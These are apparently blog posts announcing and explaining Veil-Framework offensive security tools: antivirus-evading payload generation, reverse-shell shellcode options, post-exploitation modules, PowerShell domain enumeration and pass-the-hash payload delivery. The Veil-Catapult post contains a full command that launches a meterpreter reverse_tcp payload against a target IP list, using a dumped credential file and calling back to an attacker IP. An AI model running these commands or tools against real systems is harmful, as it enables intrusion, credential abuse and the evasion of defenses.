Veil 3.0 Release

The Veil Framework is a collection of tools designed for use during offensive security testing. When the time calls for it, FortyNorth Security will use the Veil-Framework to help achieve their objective. The most commonly used tool is Veil-Evasion, which can turn an arbitrary script or piece of shellcode into a Windows executable that will evade detections by common antivirus products.

Veil 2.0 was made publicly available on June 17, 2013, and the core framework has remained largely unchanged since that date. There have been some modifications to the framework itself, but these have generally been minor in nature, with the majority of modifications involving the support of new programming languages and new payload modules.\

After spending a few years developing in Python, I revisited the Veil codebase and identified parts of the backend framework that could be developed more efficiently. Six months later, after refactoring the codebase and adding a large number of updates, I am happy to present Veil 3.0. The main menu is shown in Figure 1.

Figure 1: Veil 3 main menu

Python 3

First and foremost, one of the largest overhauls to Veil was updating the version of Python from Python 2 to Python 3. Python 2 is scheduled to reach end-of-life (EOL) in 2020, so it did not make much sense to spend time performing a large update to Veil in a language that will no longer be supported in three years.

Updating Veil from Python 2 to Python 3 was easily the most time-consuming part of creating Veil 3. Running the 2to3 tool was not an option; the conversion process required manual review for essentially all changes to Veil.

One of the major differences when developing Veil in Python 3 vs. Python 2 is how shellcode is handled and modified. To illustrates this issue, Figure 2 shows a Python 2-based stager that includes encrypted shellcode to be decrypted at runtime.

Figure 2: AES decrypting stager from Veil 2 in Python 2

While the code in Figure 2 works in Python 2, it will not work in Python 3. Specifically, in Python 3, the shellcode no longer needs to be string escaped into a bytearray after decryption. The output of Python 3’s decryption is the original clear text data in a bytearray, which is immediately consumable by the rest of the script. Figure 3 shows the Python 3 version of the same decryption stager.

Figure 3: AES decrypting stager from Veil 3 in Python 3

Ordnance

Early versions of Veil relied on the Metasploit Framework’s msfvenom tool to generate shellcode for Veil payloads. After the initial release of Veil, however, this caused a problem. The output for msfvenom changed and it completely broke Veil’s ability to process msfvenom output. After providing a patch to fix the issue, the Veil team decided that a different solution would be required instead of relying on a tool outside of our control.

Thus, Veil-Ordnance was developed and released in 2015. Veil-Ordnance is a tool that generates shellcode for use in Veil-Evasion stagers. Developing Veil-Ordnance had two main benefits:

The Veil development team is in control of the output, preventing any future compatibility issues with Veil-Evasion.
Shellcode generation is faster with Veil-Ordnance.

Previously, Veil-Evasion and Veil-Ordnance were two separate tools. With the release of Veil 3.0, that is no longer the case, as shown in Figure 4.

Figure 4: Ordnance included in Veil 3.0

Veil 3.0 users still have the ability to use msfvenom to generate their shellcode, but they now also have the option to use Ordnance. Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listen on. Ordnance supports the most popular payload types:

Reverse TCP
Reverse HTTP
Reverse HTTPS
Reverse TCP DNS
Reverse TCP All Ports
Bind TCP

This gives Veil users multiple options to choose from – they can stick with msfvenom, or use the new built-in tool, Ordnance.

Additional Languages

While Veil itself is written in Python, the processed payloads and output files can be in other programming languages. In Veil 3.0, two additional languages are now supported:

AutoIt3
Lua

Lua payloads are only supported in a script format that must be compiled and run using a lua runtime, but Veil 3.0 running on Linux can compile AutoIt3 scripts into Windows executables. Veil 3.0 also supports the seven languages previously supported in version 2.0:

Python
PowerShell
C
C#
Perl
Ruby
Golang

Environmental Detection

Another new feature in Veil 3.0 is the ability to check information about the system where the Veil payload is running. This feature is useful for ensuring that shellcode is only executed on target systems and during the engagement timeframe. The stager performs these checks and will only inject and execute the embedded shellcode if the specified conditions are met. Figure 5 shows the options for this feature.

Figure 5: Environmental detection options

Users can specify one or more of the following checks for Veil stagers:

The domain that the victim machine must be joined to.
A date that the payload expires on.
The hostname of the system running the payload.
The minimum number of processors on the system running the payload.
The required username running the payload.

If specifying more than one check, all checks must be met; otherwise the stager will cease execution without executing the shellcode.

This covers the major updates with Veil 3.0’s release. If you have any questions, or encounter an issue, please visit Veil’s Github repository. I hope that Veil can help further your assessments in the same way that it has helped us.

Posted on March 20, 2017August 29, 2019 by Christopher Truncer 0

Veil-Pillage: A Usage Guide

Veil-Pillage is a modular post-exploitation framework released last month at Defcon. We’ve had some great feedback already, and we wanted to put together a quick usage guide for anyone interested in playing around with its functionality. We also had our first module pull request recently, management/enable_proxy, contributed by byt3bl33d3r. This module will let you manually set the system proxy on a target host or hosts, check it out!

First things first, installation. The best way to pull down the latest version of the Veil-Framework is to first clone down the Veil master project from github:

root@kali:~# git clone https://github.com/Veil-Framework/Veil.git

Then change into the Veil directory and run the update.sh script which will pull down all the project submodules and run all appropriate setups:

root@kali:~/Veil# ./update.sh

If you’re running this on Kali linux, our only officially supported platform at this point, everything should pull down and install correctly. Change into the Veil-Pillage directory and launch ./Veil-Pillage.py. You’ll then be presented with the main menu:

Here you can see the number of modules currently loaded, as well as the common commands available. Now for some basic usage. The first thing you’ll want to do is to give Pillage a set of targets and a set of credentials. This can be done in several ways. You can set targets with a space or comma separated list, an existing target text file, or just with “set targets” for an interactive menu:

Credentials work similarly, with set creds [domain]/user:password or set creds [domain]/user:LM:NTLM. Specifying a creddump file with set creds file.txt works as well:

After you have your target and credential sets worked out, you need to choose a module to execute. List will list all of the modules available. You can select a module with “use #” where # is the number from the list command, or use action/module/… which allows you to tab-complete the loaded module path:

This will drop you into the module menu, where you will see a description of the module, required options, and module commands:

The most common option you’ll see across most modules is “trigger_method”, which controls how the specified action is executed on the target machine. “wmis” will utilize pth-wmis from the passing-the-hash toolkit which doesn’t create a service and is preferable in most situations, “winexe” will utilize pth-winexe and creates a service as well as dropping a binary to disk, and Impacket’s “smbexec” which creates a service but doesn’t drop a binary. What action you choose will depend on the specific situation you’re encountering, but wmis is usually set as the default.

If you want to set a module specific option across ALL modules, setg will set a specific option globally. This command can also be used from the main menu.

Once you have everything set to your liking, the run command will start execution. You’ll be prompted to make sure you want to execute the module, and then everything will kick off. After execution is completed, you’ll get the standard output menu. Status files are output to /root/veil-output/pillage/MODULE/<timestamp>.out. Typing yes will display the output file for the module:

The output file will tell you exactly what action was performed on what host with what credentials. Every module that has any kind of reciprocal cleanup action will automatically produce a cleanup file that’s output to /root/veil-output/pillage/MODULE/<timestamp>.pc . You can run this file with “cleanup <file>.pc” from the main menu:

There’s also a global cleanup file that keeps track of all cleanup actions for all modules. If you type cleanup on the main menu, it will prompt you to use this global file, which will then cleanup all affected hosts and then reset the cleanup file itself.

A few last things: the UI experience for Veil-Pillage was a major focus in development. Everything that could be tab-completable was made to be so, and reasonable error-handling/checking was built in wherever it made sense. There is also a complete set of command line flags for every possible option and action in Veil-Pillage, something we’ll cover in more depth in a future blog post. Also, whenever you exit Veil-Pillage, through exit, ctrl+c, or if there is some error in execution, the program state is automatically saved to pillage.state. When you start Pillage back up, it will ask you if you want to restore this state file. If you do, your credential and target sets are restored, module options set to their modified values, and you’re thrown right back into the module menu you were operating in.

In case you want to see some more Veil-Pillage functionality demonstrated, the recorded demos given during the Defcon presentation are available here, and Pillage’s README.md contains a bit more information as well. If you encounter any issues or have any module ideas, please submit issues and/or pull requests to Pillage’s github.

Posted on September 1, 2014 by Harm J0y 4

August 15th V-Day: Smash and Pillage

We have a two-part release for everyone this V-Day. First, we have two new PowerShell stagers for Veil-Evasion, powershell/meterpreter/rev_http and powershell/meterpreter/rev_https. For some more background on how the reverse_http[s] stagers work, check out the post on the Python versions of those stagers. As with the other versions of these stagers, we get Beacon compatibility for free as well.

Second, a new tool for the Veil-Framework was released last week at Defcon 22. Veil-Pillage is a modular post-exploitation framework that subsumes Veil-Catapult and implements a ton more features. The slides for the presentation on pillage given at Defcon, “Veil-Pillage: Post-Exploitation 2.0” are located here on slideshare, and the three recorded demos given during the presentation are available here. Once the video of the presentation is online this post will be updated. We’ll have some posts in the upcoming weeks covering Veil-Pillage’s feature set, modules, use cases and more. We also have a few Pillage module ideas in the pipeline, which will be released on the 1st of each month.

And a big thank you to everyone at Hacker Summer Camp. We have a great time talking to everyone about the Veil-Framework at Blackhat Arsenal (slides here), and the response to the Defcon presentation has been awesome. We appreciate everyone’s support and hope to keep releasing more cool stuff over the next year!

Posted on August 15, 2014 by Harm J0y 1

Veil-PowerView

We like to envision the Veil-Framework as extended beyond just generating and delivering AV-evading executables. The theme underlying our development efforts has been one of evasion and stealth, leading us to view the Veil-Framework not as a single program, but as a collection of tools that aim to bridge the gap between pentesting and red-team toolsets. Some of the releases in the coming year will extend beyond just executable generation, and may not integrate into existing codebases the same way Veil-Catapult was able to. However, the theme of evasion will still link together everything in spirit, if not in code.

With that said, I’d like to announce the most recent addition to the Veil-Framework, Veil-PowerView, a pure powershell tool for network situational awareness. First off, thanks to @davidpmcguire for inspiration, @mubix for building netview.exe and open sourcing it, the offensive powershell community (@obscuresec, @mattifestation, and DarkOperator) for showing how proper powershell is done, and @zeknox, @smilingraccoon, and r3dy for the local_admin_search_enum idea in Metasploit.

We recently were on an pentest where a client had implanted an interesting defense- the disabling of all “net *” commands on domain machines. At first, this might appear like a novel attack mitigation, as it initially thew a wrench in some of our normal post-exploitation activities. During our post assessment breakdown however, we started brain storming way around this particular defense in case we encountered it again. Bypassing it completely ended up being trivial through the use of powershell.

This assessment started the development of Veil-PowerView, released today. By taking advantage of native powershell AD hooks and the ability to invoke Win32 API functionality, a complete, pure powershell replacement for the common “net *” commands we typical use was implemented. These include common things like Get-NetGroup for listing detailed information about specific domain groups, Get-NetShare to get share information for a specific host, Get-NetUser to get information for a specific domain user, and so on. There are also the slightly more non-traditional functions of Invoke-CheckLocalAdminAccess to see if the current user has local admin access on a target host, Get-NetGroupUsers to get complete, detailed information on all users in a particular group (not just usernames), Get-NetLoggedon to get users currently logged onto a machine, and so on.

Inspired by Rob Fuller (@mubix)’s netview.exe tool, more interesting metafunctions were then built, chaining together the previously implemented net functionality. The first endeavor was a full powershell implementation of netview.exe, Invoke-Netview, with a few tweaks added in. Very similar to the original netview.exe, here’s how the core functionality works:

Get-NetDomain is run to query the principal domain
Get-NetServers is run to pull a complete list of all active machines on the domain, which is then randomized (Get-NetServers utilizes a Win32-api implementation of NetServerEnum to query for active machines of server type 2). A host list can optionally be specified with “-HostList HOSTS.txt”
Get-NetServers is run three additional times, querying for three specific server types- domain controllers, backup domain controllers, and SQL servers (i.e. Get-NetServers -ServerType 8)
For each machine found in the domain, Get-NetSessions is run each host to query the current sessions on the machine (Get-NetSessions utilizes a Win32-api implementation of NetSessionEnum)
Get-NetLoggedon is then run against each server to get the users currently logged onto the machine (Get-NetLoggedon utilizes a Win32-api implementation of NetWkstaUserEnum).
Get-NetShare is then run against each host to numerate all available shares on the machine (Get-NetShare utilizes a Win32-api implementation of NetShareEnum)
Nicely formatted output is displayed for each host as appropriate

Invoke-Netview has a few additional options missing from the original netview.exe implementation. “-ExcludeShares” will exclude common fileshares (C$, IPC$, PRINT$, etc.) from the results. “-Delay X” introduces a delay of X seconds between each host enumeration, and “-Jitter .X” adds a +/- .X percent jitter to the delay interval to randomize behavior.

Invoke-ShareFinder utilizes similar functionality to Invoke-Netview. It runs Get-NetServers to get all domain machines (or accepts an optional host list as well), randomizes the list, and then runs Get-NetShare to get all active shares on each target machine. Common shares are filtered out by default, giving you a nice list of interesting shares to investigate. The delay/jitter specification is also available.

Invoke-FindLocalAdminAccess is a powershell port of the metasploit local_admin_search_enum.rb module written by zeknox, smilingraccoon, and r3dy. It does the same Get-NetServers/hostlist/shuffle stuff, and then runs Invoke-CheckLocalAdminAccess against each host, which utilizes the Win32-api call OpenSCManagerW with full permissions to see if the local user current has local admin access on target machines. Again, the delay/jitter specification is also available in case you don’t want to try to connect to the service manage of every machine in domain as quickly as possible.

All functions should hopefully be documented and attributed appropriately. I put links and references for every source I drew from, and did my best to cite all prior art. If I accidentally put in functionality already implemented previously by the badass offensive powershell community, please please please let me know so I can put proper attribution in.

That should hopefully be enough for initial digestion- a post will be pushed in a couple of days detailing the most interesting functionality published, Invoke-UserHunter and Invoke-StealthUserHunter. That’s where the real fun with Veil-PowerView begins ;)

Posted on March 6, 2014March 18, 2014 by Harm J0y 8

Veil-Catapult

Payload delivery for when Metasploit’s psexec and its stock .exe templates fail is a common problem for penetration testers. A while back Attack Research released a great post entitled “psexec fail? upload and exec instead“, which detailed how to upload and execute specified payloads. The excellent tool SMBexec can accomplish the same goal, utilizing a patched version of samba to upload .exe’s and trigger them. These options are great, but we wanted to build something that utilized the Veil framework for payload generation and filled in a few of the gaps we felt were missing.

We’d like to announce the newest addition to the Veil-Framework, our payload delivery tool Veil-Catapult. Utilizing the Impacket library from Core Labs and the passing-the-hash toolkit, as well as the full functionality of Veil-Evasion, Veil-Catapult meets all of your AV-evading payload delivery needs:

EXE delivery features seamless integration with Veil-Evasion. If you don’t want to specify a custom executable, you can drop right into the Veil-Evasion generation menu and build a payload on the fly. Since this directly invokes the existing payload codebase, you have access to all the latest methods and modules as they’re released. After you’ve specified your options and built an executable, you’re dropped right back into the Veil-Catapult menu for target information. Single IPs or target lists can be specified, a domain can optionally be specified, and credentials can use hashes as well as normal passwords:

Triggering utilizes the passing-the-hash toolkit, specifically pth-wmis and pth-winexe. pth-wmis doesn’t create a service, but pth-winexe will run as system, so which to choose is situation dependent. Payloads can also be uploaded and triggered on a victim, or hosted on a temporary Impacket SMB server on your attacker box and triggered with \\UNC paths. A nice side effect of UNC triggering is that some otherwise disk-detectable .exe’s will get right by a lot of antivirus : )

Note: python pyinstaller payloads can’t be hosted and MUST be uploaded in order to work properly.

Standalone payloads offers some tried and true methods as well as a slightly new approach. Powershell can be invoked using the standard command line shellcode-injecting payload generated by Veil-Evasion, and the sticky keys sethc backdoor can be triggered as well, both with the same wmis or winexe options.

The Barebones python injector is a neat approach which we’ll be talking about in detail in an upcoming blog post. But feel free to check it out now : )

Cleanup functionality has also been incorporated. Whenever an exe is uploaded/host and then triggered on a host, cleanup instructions are written out to a resource file. Calling ./Veil-Catapult.py -r CLEANUP_FILE will first kill all associated processes on popped hosts, and then delete any uploaded binaries. The sethc backdoor also generates a cleanup script.

And of course, we have command line flags for every option- try ./Veil-Catapult.py -h for all the details:

The following example takes an IP list, a hashdump/pwdump formatted cred file with an admin hash, pth-wmis for triggering, uses the c/shellcode_inject/void payload and specific MSF parameters to generate an .exe with Veil-Evasion, hosts the executable and triggers it on your IP, and doesn’t confirm before launching:

./Veil-Catapult.py -tL ips.txt -cF d.txt –wmis -p c/shellcode_inject/void –msfpayload windows/meterpreter/reverse_tcp –msfoptions LHOST=172.16.199.236 LPORT=4444 –act hostexec –lip 172.16.199.236 -nc

–tL : provides a list of IPs to target
-cF : provides a pwdump file that Veil-Catapult extracts the admin account out of
–wmis : specifies for pth-wmis to be used for triggering
–p … : specifies the Veil-Evasion payload to be used
–msfpayload : details the Metasploit shellcode to be used by the Veil-Evasion payload
–msfoptions : provides additional configuration details for the Metasploit payload
–act hostexec : instructs Veil-Catapult to host the payload and execute by \\UNC path
–lip : the local IP needed for UNC invocation
-nc : don’t confirm before firing off the attack

Veil-Catapult’s introduction marks our long-intended goal of expanding the Veil-Framework beyond just AV-evasion. We’ve moved our original Veil repository to https://github.com/Veil-Framework/Veil-Evasion/ and established a new repository for Veil-Catapult at https://github.com/Veil-Framework/Veil-Catapult/ . A superproject will be maintained at https://github.com/Veil-Framework/Veil/ that will pull in each tool in the Veil-Framework. We recommend that most users pull down the superproject to make sure everything works correctly together. If you choose to run the tools in different locations, be sure to edit /etc/veil/settings.py as appropriate if anything happens to malfunction.

Posted on January 18, 2014 by Harm J0y 7

Veil – Framework